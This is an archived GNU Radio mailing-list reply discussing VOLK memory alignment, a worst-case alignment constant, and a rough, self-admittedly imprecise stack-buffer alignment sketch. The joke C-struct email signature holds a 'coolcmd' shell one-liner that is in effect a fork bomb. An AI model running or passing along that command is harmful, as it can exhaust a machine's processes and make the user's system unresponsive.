discuss-gnuradio
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: volk and alignment


From: thomas
Subject: Re: volk and alignment
Date: Wed, 8 Jul 2020 15:48:33 -0400

On Wed, 8 Jul 2020 18:09:30 +0100, "Marcus Müller" <mueller@kit.edu> said:
>  > Is there a maximum size that volk_get_alignment could return, a size
>  > that's reasonable?
>
> I'd go with "realistically, yes, but isn't relying on that a bad idea?".

Yes, it does sound like a bad idea. :-)
Really I'm looking to solve the problem, not a specific solution.

> I'm thinking back and forth about how to address that problem.
> Basically, what we'd need is a "worst case of all available machines"
> alignment, that is present in an integer constant expression, so you can
> put it into alignas(), right?

Right.

It's not my field, but surely 4kiB will align everything? On the other
hand, of course, stepping into a new page may incur a page fault,
which could be more than even using `volk::vector` which may incur an
allocation, but usually won't incur a context switch.

I suppose a mere dynamic stack alloc would do just fine:

```
char buf[alignment+bytes_needed];
int adjust = (aligned - (buf % alignment)) % aligned;
char* p = buf + adjust;
```

(except making sure that the pointer arithmetic doesn't cause UB. Off
the top of my head I don't know the right types to use)

Not very nice with two mod ops per time this is needed, though. For
the PR linked to this would happen every sample.

Another option is a thread-local stack, which would make
allocs/deallocs very cheap. Assuming all use cases of this would be
for local variables.

--
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.se" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "9907 8698 8A24 F52F 1C2E  87F6 39A4 9EEA 460A 0169" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;



reply via email to

[Prev in Thread] Current Thread [Next in Thread]